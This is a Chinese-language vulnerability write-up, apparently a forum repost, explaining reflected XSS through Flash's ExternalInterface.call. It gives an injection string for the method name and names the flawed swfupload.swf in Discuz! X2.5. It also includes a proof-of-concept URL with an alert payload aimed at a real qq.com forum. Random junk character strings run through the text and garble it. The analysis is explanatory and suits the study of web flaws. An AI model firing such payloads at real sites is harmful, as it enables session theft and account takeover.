上回我们说
1 ^7 F" k+ b) h6 o) d& Y" ^. y' W x" l' z
flash.external.ExternalInterface.call($methodName, $parameter)
( A$ B; G6 L. G在浏览器中执行的是 t' K1 d6 I+ n
& I! }6 O3 N/ R. Q9 E6 B+ x$ vtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}6 ^, {' q9 j8 b) P5 D+ _3 |! G
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如) F1 p4 K6 Z% W' o" n
9 W3 d9 r% c% l1 k8 s+ B( v8 d( kflash.external.ExternalInterface.call("object."+$methodName, $parameter)
$ s( r2 w/ B& ]1 \8 R7 s$methodName = a())}catch(e){alert(/xss/)}//7 H+ W, S- ^, G; V
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
3 v2 p+ @1 y( @2 v5 Z' o& C; ^4 f' [9 V4 {; F- l
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
! U! f' _" H- e
, O- ~3 r6 I% _5 i9 G" t6 k3 R这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )' Y3 [8 `6 c1 @' S7 d" O
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。* u8 r: F' U4 V, |3 ~/ n( D# Q& E
[" l# X* U' u- P
8 `/ G. X9 T7 ?! X3 X1 @0 @ h) S5 A# q+ x6 w
漏洞文件:upload\static\image\common\swfupload.swf% f* \& k+ s( ]$ f8 d P" A. c Q
& J, I& Y/ p1 W* E# ^( t* \8 b原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf0 ]1 |8 ?/ @, U3 Q+ T
2 g3 U* \. S% }* ^$ U% I
$ D9 U+ q, J1 H
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
( K+ U) t9 n% n, u( W- B g
1 {7 A8 f, w) i* Q% r
5 z& Z5 [( G$ T& V6 Z1 l |